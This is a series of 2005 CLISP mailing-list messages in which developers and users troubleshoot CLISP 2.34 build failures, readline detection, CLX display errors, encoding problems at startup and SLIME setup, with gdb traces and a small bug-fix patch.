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> * Bruce Nagel <antryou@fqs.ybarfgne.bet> [2005-07-24 20:39:55 +0000]:
>
> I seem to be having problems with readline (no command history or 
> completion) after compiling 2.34 from source.  The Clisp Debian
> package however still works fine.

is readline used by CLISP at all?
(see unixconf.h)

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Date: Sun Jul 24 18:20:57 2005
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Sorry, these examples are wrong.

Pascal Bourguignon writes:
> 1.1             --> (11,1)
> 123.456         --> (123456,3)
> 
> (+ 123.456 1.1) --> (124556,3)   = 124.556
> (* 123.456 1.1) --> (13580160,5) = 135.80160
> (/ 10.0 0.3)    --> (333,1)      =  33.3
> 
> (/ 1  3)        --> 1/3                      ; rational
> (/ 1. 3.)       --> (33,2)       = 0.33      ; decimal+precision
> (/ 1.0 3.00)    --> (33333,5)    = 0.33333   ; decimal+precision


What would you expect for: (+ 123.456 1.1) ?


6 significant digits + 2 significant digits --> 2 significant digits, no?
(+ 123.456 1.1) --> 12. * 10^1 ?


If 1.1 means that we don't know what is the value within 1.05 and 1.15
(+ 123.456 1.1) --> anything between 124.5055 and 124.6065
                --> 124.55 ?  
Well not exactly 124.55 would denode anything between 124.545  and 124.555
              but the real result is anything between 124.5055 and 124.6065



Therefore you'll need to give the error interval too so you cannot just read 1.1.
#0.05d1.1 == [1.1-0.05,1.1+0.05]
(- #0.05d1.1 #0.05d0.9) --> #0.1d0.2 (anything between 0.1 and 0.3)


(Note that 0.200005 is  well withing [0.1,0.3].)



The whole point is that it really depends on your application needs
and you must decide what rules you need to implement.  

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On Sun, Jul 24, 2005 at 08:57:35PM -0400, Sam Steingold wrote:
> > * Bruce Nagel <antryou@fqs.ybarfgne.bet> [2005-07-24 20:39:55 +0000]:

> > I seem to be having problems with readline (no command history or 
> > completion) after compiling 2.34 from source.  The Clisp Debian
> > package however still works fine.
 
> is readline used by CLISP at all?
> (see unixconf.h)

The places readline appears in unixconf.h are:

/* declaration of filename_completion_function() needs const in the first
   argument */
/* #undef READLINE_CONST */

/* The readline built-in filename completion function, either
   rl_filename_completion_function() or filename_completion_function() */
/* #undef READLINE_FILE_COMPLETE */

/* have a working modern GNU readline */
/* #undef HAVE_READLINE */

I'm not really familiar with C, and so I'm not too sure of the meaning of
these.  I'm imagining they're commented out because they aren't available to
the Clisp compile?  I do have both the libreadline4 and libreadline5 packages
installed, so readline ought to be available.  

Also, I get errors during the build, though it continues and finishes
(even to the point of allowing me to 'make install' without errors, and
being able to run the new Clisp from /usr/local/bin/clisp.  At one point
it stops with:

groff -Tdvi -mandoc  clisp.1 > clisp.dvi
groff: can't find `DESC' file
groff:fatal error: invalid device `dvi'
make: *** [clisp.dvi] Error 3

And after that with:

Dictionary stack:
   --dict:1049/1123(ro)(G)--   --dict:0/20(G)--   --dict:69/200(L)--
Current allocation mode is local
GPL Ghostscript 8.01: Unrecoverable error, exit code 1
make: *** [clisp.pdf] Error 1

And then finishes (running 'make' each time to get it going agan, that is).  
'make install' after that succeeds, but the resulting Clisp does not have 
either command history or command completion.

If I try to use --with-readline explicitly with ./configure and ./makemake,
I get the error:

makemake: configure failed to detect readline

I don't know if this is an error in my system setup or in Clisp's
compilation procedure.  Is there other info I can offer to help clarify?

Thanks,
Bruce
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Hi,

just covered several problems during building clisp 2.34.

  * modules/queens/link.sh shows an invalid '-I' in the
    make file arguments: INCLUDES='-I'"$absolute_linkkitdir"

  * A simple `make check' fails due sacla-tests and ansi-tests
    IMHO the check should be removed of check the availability
    of the directories.

  * The included test fails at

      (with-accumulating-errors (error-count total-count)
        (run-test "bind" :eval-method :eval :logname "bind-eval"))

    within tests.lisp.

  * The clx demos do not work anymore: I see error like

         *** - XLIB:DISPLAY-ROOTS:
         *** - XLIB:CLOSED-DISPLAY-P:
         *** - XLIB:CLOSED-DISPLAY-P:
         *** - Unprintable error message
         The following restarts are available:
         ABORT          :R1      ABORT
         Break 1 [2]> 

     and even if the xlib functions are used direkt:

         new-clx/demos> clisp -K full -q
         [1]> (xlib:open-display "boole.suse.de" :display 0)

         *** - XLIB:CLOSED-DISPLAY-P:
         *** - XLIB:CLOSED-DISPLAY-P:
         *** - XLIB:CLOSED-DISPLAY-P:
         *** - Unprintable error message
         The following restarts are available:
         ABORT          :R1      ABORT
         Break 1 [2]> 

     The display is used over an ssh connection but this
     should be not visible for clisp due the Xlib does
     this correct.  The build architecture is an x86_64,
     I've not tested i686/ppc/ppc64/s390/s390x/ia64/alpha.
  

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-07-25 14:56:23 +0200]:
>
>   * modules/queens/link.sh shows an invalid '-I' in the
>     make file arguments: INCLUDES='-I'"$absolute_linkkitdir"

fixed, thanks!
(I wonder how many years this modules have not been built :-)

>   * A simple `make check' fails due sacla-tests and ansi-tests IMHO
>   the check should be removed of check the availability of the
>   directories.

fixed on 2005-07-22, thanks.

>   * The included test fails at
>
>       (with-accumulating-errors (error-count total-count)
>         (run-test "bind" :eval-method :eval :logname "bind-eval"))
>
>     within tests.lisp.

alas, this is a known x86_64 issue - non-global special bindings have
been fixed, but, apparently, not on all platforms.
would you like to work on it?

>   * The clx demos do not work anymore: I see error like

mit-clx or new-clx?

>          *** - XLIB:DISPLAY-ROOTS:
>          *** - XLIB:CLOSED-DISPLAY-P:
>          *** - XLIB:CLOSED-DISPLAY-P:
>          *** - Unprintable error message
>          The following restarts are available:
>          ABORT          :R1      ABORT
>          Break 1 [2]> 
>
>      and even if the xlib functions are used direkt:
>
>          new-clx/demos> clisp -K full -q
>          [1]> (xlib:open-display "boole.suse.de" :display 0)
>
>          *** - XLIB:CLOSED-DISPLAY-P:
>          *** - XLIB:CLOSED-DISPLAY-P:
>          *** - XLIB:CLOSED-DISPLAY-P:
>          *** - Unprintable error message
>          The following restarts are available:
>          ABORT          :R1      ABORT
>          Break 1 [2]> 
>
>      The display is used over an ssh connection but this
>      should be not visible for clisp due the Xlib does
>      this correct.

wfm.
please try to run under gdb.
(./configure --build build-g --with-debug --with-module=clx/???-clx)

thanks.

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> * Bruce Nagel <antryou@fqs.ybarfgne.bet> [2005-07-25 03:13:43 +0000]:
>
> /* have a working modern GNU readline */
> /* #undef HAVE_READLINE */
>
> makemake: configure failed to detect readline

OK, configure failed to detect readline.
now please look at build/config.log and try to figure out why readline
was not detected.

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On Mon, Jul 25, 2005 at 09:24:12AM -0400, Sam Steingold wrote:
> 
> >   * A simple `make check' fails due sacla-tests and ansi-tests IMHO
> >   the check should be removed of check the availability of the
> >   directories.
> 
> fixed on 2005-07-22, thanks.

Ah ... OK.

> >   * The included test fails at
> >
> >       (with-accumulating-errors (error-count total-count)
> >         (run-test "bind" :eval-method :eval :logname "bind-eval"))
> >
> >     within tests.lisp.
> 
> alas, this is a known x86_64 issue - non-global special bindings have
> been fixed, but, apparently, not on all platforms.
> would you like to work on it?

Hmm ... many SuSE Linux users may have a x86_64 system,
whereas I can access many other systems around here.
Is there a patch available or can I do something within
the configuration?

> >   * The clx demos do not work anymore: I see error like
> 
> mit-clx or new-clx?

Clearly the modern new-clx, I like sokoban :)

> >          *** - XLIB:DISPLAY-ROOTS:
> >          *** - XLIB:CLOSED-DISPLAY-P:
> >          *** - XLIB:CLOSED-DISPLAY-P:
> >          *** - Unprintable error message
> >          The following restarts are available:
> >          ABORT          :R1      ABORT
> >          Break 1 [2]> 
> >
> >      and even if the xlib functions are used direkt:
> >
> >          new-clx/demos> clisp -K full -q
> >          [1]> (xlib:open-display "boole.suse.de" :display 0)
> >
> >          *** - XLIB:CLOSED-DISPLAY-P:
> >          *** - XLIB:CLOSED-DISPLAY-P:
> >          *** - XLIB:CLOSED-DISPLAY-P:
> >          *** - Unprintable error message
> >          The following restarts are available:
> >          ABORT          :R1      ABORT
> >          Break 1 [2]> 
> >
> >      The display is used over an ssh connection but this
> >      should be not visible for clisp due the Xlib does
> >      this correct.
> 
> wfm.
> please try to run under gdb.
> (./configure --build build-g --with-debug --with-module=clx/???-clx)

I'll try that.

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-07-25 16:09:36 +0200]:
>
>> >   * The clx demos do not work anymore: I see error like
>> 
>> >          *** - XLIB:DISPLAY-ROOTS:
>> >          *** - XLIB:CLOSED-DISPLAY-P:
>> >          *** - XLIB:CLOSED-DISPLAY-P:
>> >          *** - Unprintable error message
>> >          The following restarts are available:
>> >          ABORT          :R1      ABORT
>> >          Break 1 [2]> 
>> >
>> >      and even if the xlib functions are used direkt:
>> >
>> >          new-clx/demos> clisp -K full -q
>> >          [1]> (xlib:open-display "boole.suse.de" :display 0)
>> >
>> >          *** - XLIB:CLOSED-DISPLAY-P:
>> >          *** - XLIB:CLOSED-DISPLAY-P:
>> >          *** - XLIB:CLOSED-DISPLAY-P:
>> >          *** - Unprintable error message
>> >          The following restarts are available:
>> >          ABORT          :R1      ABORT
>> >          Break 1 [2]> 
>> >
>> >      The display is used over an ssh connection but this
>> >      should be not visible for clisp due the Xlib does
>> >      this correct.
>> 
>> wfm.
>> please try to run under gdb.
>> (./configure --build build-g --with-debug --with-module=clx/???-clx)
>
> I'll try that.

you may want to try the appended patch.
it will replace the "unprintable error message" with a more meaningful
"XLIB::CLOSED-DISPLAY" error.

you still need to figure out why the display is invalid.
specifically, set a breakpoint in ensure_living_display()
and examine "fptr" with "xout" and "zout" (see src/.gdbinit).

I bet this is yet another amd64 alignment problem...
1.  compare TheStructure() in clisp.h and lispbibl.h
    (use make to construct both files).

2.  test the syscalls module:
    ./clisp -E utf-8 -q -norc -i ../tests/tests -x '(run-test "syscalls/test")'

3.  build the berkeley-db and pcre modules and test them too

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--- clx.f	21 Jun 2005 09:39:28 -0400	2.40
+++ clx.f	25 Jul 2005 11:39:32 -0400	
@@ -646,8 +646,8 @@
  'objf' should point into the stack due to GC. */
   if (typep_classname (*objf, `XLIB::DISPLAY`)) { /* Is it a display at all? */
     object fptr = TheStructure(*objf)->recdata[slot_DISPLAY_FOREIGN_POINTER];
-    if (fpointerp(fptr) && fp_validp(TheFpointer(fptr)))
-      return (TheFpointer(fptr)->fp_pointer != NULL);
+    return (fpointerp(fptr) && fp_validp(TheFpointer(fptr))
+            && (TheFpointer(fptr)->fp_pointer != NULL));
   }
   /* Fall through -- raise type error */
   my_type_error(`XLIB::DISPLAY`,*(objf));


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On Mon, Jul 25, 2005 at 09:24:12AM -0400, Sam Steingold wrote:
> 
> wfm.
> please try to run under gdb.
> (./configure --build build-g --with-debug --with-module=clx/???-clx)

This leads to

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
STACK depth: 22389
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
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Copyright (c) Sam Steingold, Bruno Haible 2001-2005

make: *** [interpreted.mem] Aborted

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> * Nelson H. F. Beebe:
>
> I have automated procedures (described in Chapter 8 Section 2 of our
> recent book: see http://www.oreilly.com/catalog/shellsrptg/) that make
> it easy to test software builds in a large number of environments,
> currently over 100 on more than 20 flavors of Unix.  My log
> directories now contain more than 25,000 logs for hundreds of
> packages.  I was disappointed to find that this automation fails with
> clisp, because it pauses with the request
>
> 	Configure findings:
> 	  FFI:        yes
> 	  readline:   yes
> 	  libsigsegv: yes
>
> 	To continue building CLISP, the following commands are recommended
> 	  (cf. unix/INSTALL step 4):
> 	    cd src
> 	    ./makemake --with-dynamic-ffi     > Makefile
> 	    make config.lisp
> 	    emacs config.lisp
> 	    make
> 	    make check
>
> My site is large, with up to 15,000 user accounts and a broad range of
> Unix systems.  Automation of builds is essential for me.

do
./configure --build build-dir --with-package=....
and all steps will be done automatically;
clisp will be built in directory "build-dir"
replace "--build" with "--install" to also install.

> 	-rw-r--r--  1 beebe wheel 900 2005-07-23 08:26 bind-eval.erg

alas, known amd64-specific bug in non-top-level special bindings.
this is not a regression, this behavior has been there forever.
it has been fixed on all 32-bit platforms, but, apparently, not on amd64.

> I then tried to start clisp manually, but it immediately fails:
>
> 	% clisp
> 	  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
> 	  I I I I I I I      8     8   8           8     8     o  8    8
> 	  I  \ `+' /  I      8         8           8     8        8    8
> 	   \  `-+-'  /       8         8           8      ooooo   8oooo
> 	    `-__|__-'        8         8           8           8  8
>
> 		|            8     o   8           8     o     8  8
>
> 	  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
>
> 	Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> 	Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> 	Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> 	Copyright (c) Bruno Haible, Sam Steingold 1999-2000
> 	Copyright (c) Sam Steingold, Bruno Haible 2001-2005
>
>
> 	*** - invalid byte #x81 in CHARSET:ASCII conversion
> 	The following restarts are available:
> 	ABORT          :R1      ABORT
> 	Break 1 [2]>

<http://clisp.cons.org/faq.html#enc-err>.
you probably have non-ASCII symbols in pathnames.
try "clisp -E foo"
where foo is the encoding you use for pathnames.

> A similar manual build on GNU/Linux on PowerPC (Yellow Dog Linux
> release 2.3 (Dayton)) had no *.erg files created, although the tests
> complained:
> 	*** - LOAD: A file with name tests.lisp does not exist

fixed in the CVS on 2005-07-22.

> On GNU/Linux on IA-64 (Red Hat Linux Advanced Server release 2.1AS
> (Derry)), the check immediately fails:
>
> 	% nice time make check
> 	./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x
>  "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
>  Cannot map memory to address 0x4000000000000 .
> 	 errno = EINVAL: Invalid argument.
> 	./lisp.run: Not enough memory for Lisp.

Bruno will address this.
he added IA-64 support in 2.25 (2001-03-15).


> On Sun Solaris 10 SPARC with gcc 3.3.6, the "make check" fails like
> this:
>
> 	;; Loaded file
>  /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T
> 	(COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME "SYS:foo.fas"))
> 	EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY
>  (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST)
>  (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
> 	Bus Error

I do not have access to such a system.
could you please build clisp with debug symbols:
$ ./configure --build build-g
$ cd build-g
$ gdb lisp.run
(gdb) boot
(gdb) run
[1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))

and send here the stack trace?
thanks!

(I suggest using the CVS head)

> However, my Fibonacci test passed, so I did an install anyway (this
> build is on a test system, so no users are affected), but when I try
> to run clisp, it fails immediately:
>
> 	% clisp
> 	...
>
>
> 	*** - invalid byte #x81 in CHARSET:ASCII conversion
> 	The following restarts are available:
> 	ABORT          :R1      ABORT

see above.

> On GNU/Linux IA-32, the "make check" run again ended with
> 	*** - LOAD: A file with name tests.lisp does not exist

see above.

> 	*** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion

see above.

> If the clisp builds can be made smoother, I'm in a good position to
> thoroughly test the procedures, since I can trivially do parallel
> builds in 100+ different environments, and I'll be happy to contribute
> in a small way to making clisp better.  While I don't have the time to
> dig into the code, I certainly can provide feedback, and even complete
> build logs, of new releases of clisp.

thanks.

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> * Sam Steingold <fqf@tah.bet> [2005-07-25 11:40:03 -0400]:
>
>> * Dr. Werner Fink <jreare@fhfr.qr> [2005-07-25 16:09:36 +0200]:
>>
>>> >   * The clx demos do not work anymore: I see error like
>>> 
>>> >          *** - XLIB:DISPLAY-ROOTS:
>>> >          *** - XLIB:CLOSED-DISPLAY-P:
>>> >          *** - XLIB:CLOSED-DISPLAY-P:
>>> >          *** - Unprintable error message
>>> >          The following restarts are available:
>>> >          ABORT          :R1      ABORT
>>> >          Break 1 [2]> 
>>> >
>>> >      and even if the xlib functions are used direkt:
>>> >
>>> >          new-clx/demos> clisp -K full -q
>>> >          [1]> (xlib:open-display "boole.suse.de" :display 0)
>>> >
>>> >          *** - XLIB:CLOSED-DISPLAY-P:
>>> >          *** - XLIB:CLOSED-DISPLAY-P:
>>> >          *** - XLIB:CLOSED-DISPLAY-P:
>>> >          *** - Unprintable error message
>>> >          The following restarts are available:
>>> >          ABORT          :R1      ABORT
>>> >          Break 1 [2]> 
>>> >
>>> >      The display is used over an ssh connection but this
>>> >      should be not visible for clisp due the Xlib does
>>> >      this correct.
>>> 
>>> wfm.
>>> please try to run under gdb.
>>> (./configure --build build-g --with-debug --with-module=clx/???-clx)
>>
>> I'll try that.
>
> you may want to try the appended patch.
> it will replace the "unprintable error message" with a more meaningful
> "XLIB::CLOSED-DISPLAY" error.
>
> you still need to figure out why the display is invalid.
> specifically, set a breakpoint in ensure_living_display()
> and examine "fptr" with "xout" and "zout" (see src/.gdbinit).
>
> I bet this is yet another amd64 alignment problem...

OK, I can reproduce this.
it appears that
gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-42)
on
Linux flume 2.4.21-20.ELsmp #1 SMP Wed Aug 18 20:34:58 EDT 2004 x86_64 x86_64 x86_64 GNU/Linux

miscompiles ensure_living_display():

Breakpoint 16, ensure_living_display (objf=0x2a96768300) at clx.f:650
650         object fptr = TheStructure(*objf)->recdata[slot_DISPLAY_FOREIGN_POIN
TER];
(gdb) p *objf
$1 = 0xa000333d52248
(gdb) n
651         return (fpointerp(fptr) && fp_validp(TheFpointer(fptr))
(gdb) p fptr           <<<<----------- this is different from
$2 = 0x7f00000000      <<<<----------- the value below
(gdb) p TheSrecord_(*objf)
$3 = (srecord_ *) 0x333d52248
(gdb) p *TheSrecord_(*objf)
$4 = {header = {_GCself = 0xa000333d52248, flags = {2814763521614408}},
  rectype = -2 '_', recflags = 0 '\0', reclength = 6, recdata = 0x333d52258}
(gdb) p $4.recdata
$5 = 0x333d52258
(gdb) p $4.recdata[0]
$6 = 0x40000cccde46d0
(gdb) p $4.recdata[1]  <<<<<<----------- this is the value
$7 = 0xc000333d52288   <<<<<<----------- that fptr should take
(gdb) p $4.recdata[2]
$8 = 0xc000333d52310
(gdb) p $4.recdata[3]
$9 = 0x40000007917c0
(gdb) xout $4.recdata[0]
(XLIB::DISPLAY)(void *) 0x40000cccde46d0
(gdb) xout $4.recdata[1]
#<FOREIGN-POINTER 0x7ff520>(void *) 0xc000333d52288

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On 7/25/05, Lin Jingxian <jingxian@gmail.com> wrote:
>=20
>=20
>=20
>  hi,
>     Does slime really support clisp ? I am using slime 1.2.1 and clisp 2.=
33.2 for windows.
>  after use M-x slime ;Emacs loads slime mode and the last message is as f=
ollowing :
>=20
>  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D cut here =3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>  WARNING:
>  These Swank interfaces are unimplemented:
>=20
>  (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS CALLS-WH=
O
>   DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS INTERRUPT-THREAD
>   RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-STA=
RT
>   SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS
>   WHO-SPECIALIZES)
>  ;; Loaded file E:\slime-1.2.1\swank-loader.lisp
>  T


I'm getting exactly the same issue.

This entry (http://bc.tech.coop/blog/040303.html) seems to indicate it
IS possible.

What did you set your inferior-lisp-program to?  I just copied what
was in the shortcut that clisp provides; namely:

(setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")

which is what got me that far.


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On 7/25/05, Michael Campbell <michael.campbell@gmail.com> wrote:
> On 7/25/05, Lin Jingxian <jingxian@gmail.com> wrote:
> >
> >
> >
> >  hi,
> >     Does slime really support clisp ? I am using slime 1.2.1 and clisp =
2.33.2 for windows.
> >  after use M-x slime ;Emacs loads slime mode and the last message is as=
 following :
> >
> >  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D cut here =3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >  WARNING:
> >  These Swank interfaces are unimplemented:
> >
> >  (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS CALLS-=
WHO
> >   DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS INTERRUPT-THRE=
AD
> >   RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-S=
TART
> >   SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS
> >   WHO-SPECIALIZES)
> >  ;; Loaded file E:\slime-1.2.1\swank-loader.lisp
> >  T
>=20
>=20
> I'm getting exactly the same issue.
>=20
> This entry (http://bc.tech.coop/blog/040303.html) seems to indicate it
> IS possible.
>=20
> What did you set your inferior-lisp-program to?  I just copied what
> was in the shortcut that clisp provides; namely:
>=20
> (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
> D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
>=20
> which is what got me that far.

Ok, I hate to reply to my own post, but the following blog entry's
instructions worked for me (with appropriate substitutions of paths,
etc.):

http://bc.tech.coop/blog/040306.html

--=20
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Lin Jingxian wonders:
>    Does slime really support clisp ?
Yes. Although I don't know whether clisp-2.33.2 works out of the box.

> WARNING: These Swank interfaces are unimplemented:
[long list elided]
This just means that people could contribute code e.g. to step through =
code. OTOH just ignore all missing interfaces about threads, there are =
no threads yet (trying to contribute them is a grade>=3D**** exercise).


My .emacs (GNU Emacs-20.7) has the following.

(setq slime-path (file-name-directory =
"d:/hoehle/Code/Lisp/slime-1.2.1/"))
; http://common-lisp.net/pipermail/slime-devel/2004-October/002512.html
(autoload 'slime-connect "slime" nil t)
(autoload 'slime "slime" nil t)
(autoload 'slime-selector "slime" "Select a SLIME buffer" t)
(global-set-key "\^Cs" 'slime-selector)
;(load"d:/hoehle/Code/Lisp/slime-1.2.1/swank-loader.lisp")
;(swank:create-server)
;M-x (slime-connect)
;M-TAB slime-complete-symbol e.g. *p-p or m-v-b
;C-c M-i slime-fuzzy-complete-symbol

I usually start a Lisp in the classic inferior-lisp-mode as follows, =
and load silme afterwards.

(defvar lisp-program-choices '())
(setq lisp-program-choices
  '(("jscheme" . "java -cp h:/sspace/archive/jscheme.jar jscheme.REPL")
    ("xquery" . "java -jar =
c:/Programme/Jakarta/jakarta-tomcat-3.3.1/webapps/KBA-NCA/WEB-INF/lib/ka=
wa-1.7.jar --xquery")
    ("kawa" . "java -classpath =
c:/Programme/Jakarta/jakarta-tomcat-3.3.1/webapps/KBA-NCA/WEB-INF/lib/ka=
wa-1.7.jar kawa.repl")
    ("Corman" . "C:\\Programme\\CORMAN~1.0\\clconsole.exe")
    ("clisp-cvs-base" . "S:\\src\\CVS\\clisp\\build-msvc\\lisp.exe -M =
S:\\src\\CVS\\clisp\\build-msvc\\lispinit.mem -Efile UTF-8 -Eterminal =
ISO-8859-1")
))
(defun choose-lisp (program)
  (interactive
   (list (cdr (assoc (completing-read "Run Lisp: " lisp-program-choices =
nil t)
		     lisp-program-choices))))
  (run-lisp program))

OTOH, I could just start SLIME directly -- I just tested it now.
You could replace (run-lisp ...) with (slime ...) to choose among =
several Lisps.

Then clisp starts up as follows:
; CLISP  Port: 3957  Pid: nil
CL-USER>=20

Pid: nil means that ^C will not work. You better get the CVS version of =
slime, where I contributed some patches. Pid will then show a number, =
and if you started lisp.exe directly (not via clisp.exe), ^C will work.

Since you're likely to use some asian character encoding, I urge you to =
use the -Efile/terminal/xyz options of clisp to match your Emacs =
settings and tastes, so that you can make use of non-ASCII characters.

*inferior-lisp* contains:
[1]>=20
;; Loading file D:\hoehle\Code\Lisp\slime-1.2.1\swank-loader.lisp ...
;; Compiling file D:\hoehle\Code\Lisp\slime-1.2.1\swank-backend.lisp =
...
;; Wrote file =
D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank-backend.fas
;;  Loading file =
D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank-backend.fas
[...]
;;  Loaded file D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank.fas
The following functions were used but are deprecated:

 SET - This function name is anachronistic. Use SETF SYMBOL-VALUE =
instead.
0 errors, 0 warnings
WARNING: These Swank interfaces are unimplemented:
         (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER =
ALL-THREADS
         CALLS-WHO
         DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS
         INTERRUPT-THREAD
         RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND
         SLDB-BREAK-AT-START
         SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE =
WHO-MACROEXPANDS
         WHO-SPECIALIZES)
;; Loaded file D:\hoehle\Code\Lisp\slime-1.2.1\swank-loader.lisp
T
[2]>=20
;; Swank started at port: 3957.
[this is the output from an unmodified slime-1.2.1]

Regards,
	J=F6rg H=F6hle


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> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-07-26 06:48:33 -0600]:
>
> Sam Steingold <sds@gnu.org> responds to my problem report for
> clisp-2.34 on GNU/Linux (Red Hat Enterprise Server 4) on AMD64:
>
>>> ...
>>> > I then tried to start clisp manually, but it immediately fails:
>>> >
>>> >       % clisp
>>> ...
>>> > >       *** - invalid byte #x81 in CHARSET:ASCII conversion
>>> >       The following restarts are available:
>>> >       ABORT          :R1      ABORT
>>> >       Break 1 [2]>
>>>
>>> <http://clisp.cons.org/faq.html#enc-err>.
>>> you probably have non-ASCII symbols in pathnames.
>>> try "clisp -E foo"
>>> where foo is the encoding you use for pathnames.
>>> ...
>
> I did a "strace -o foo -f clisp", and then looked at the system-call
> trace.  None of the file that are opened have any non-ASCII symbols in
> their pathnames (such files would be rare to nonexistant anyway at my
> site).
>
>>From the trace, it looks like /etc/inputrc was being processed
> at the point of error:
>
> 32444 stat("/etc/inputrc", {st_mode=S_IFREG|0644, st_size=758, ...}) = 0
> 32444 open("/etc/inputrc", O_RDONLY)    = 5
> 32444 read(5, "# do not bell on tab-completion\n"..., 758) = 758
> 32444 close(5)                          = 0
>
> It read the entire file with one read() call.  There are no non-ASCII
> characters inside that file.
>
> I then tried alternate encodings:
>
> % clisp -E UTF-8
> *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [2]> 

I wonder what CLISP is doing here...
please type :bt1 here - you will get the Lisp STACK.
maybe you could run this under GDB too?

> Thus, a temporary workaround to the startup problem is to use 
> -E ISO-8859-1.

according to
<http://www.gnu.org/software/clisp/clisp.html#opt-enc>
you can also set environment variable LC_ALL.

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> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-07-26 06:19:30 -0600]:
>
> Sam Steingold <sds@gnu.org> responds on Mon, 25 Jul 2005 17:29:57
> -0400 to my problem report:
>
>>> ...
>>> > On Sun Solaris 10 SPARC with gcc 3.3.6, the "make check" fails like
>>> > this:
>>> >
>>> >       ;; Loaded file
>>> >  /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T
>>> >       (COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME
>>> "SYS:foo.fas"))
>>> >       EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC
>>> :DIRECTORY
>>> >  (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST)
>>> >  (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>>> >       Bus Error
>>>
>>> I do not have access to such a system.
>>> could you please build clisp with debug symbols:
>>> $ ./configure --build build-g
>>> $ cd build-g
>>> $ gdb lisp.run
>>> (gdb) boot
>>> (gdb) run
>>> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>>>
>>> and send here the stack trace?
>>> thanks!
>>>
>>> (I suggest using the CVS head)
>>> ...
>
> I grabbed the CVS tarball from clisp.sourceforge.net, but found that
> it is incomplete: no configure file, empty src directory, ...
> How does one pull a workable clisp distribution out of CVS?

use "Anonymous CVS Access"
<http://sourceforge.net/cvs/?group_id=1355>

> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b,
>     logical=false) at pathname.d:4717
> 4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)
> (gdb) where
> #0  0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b,
>     logical=false) at pathname.d:4717
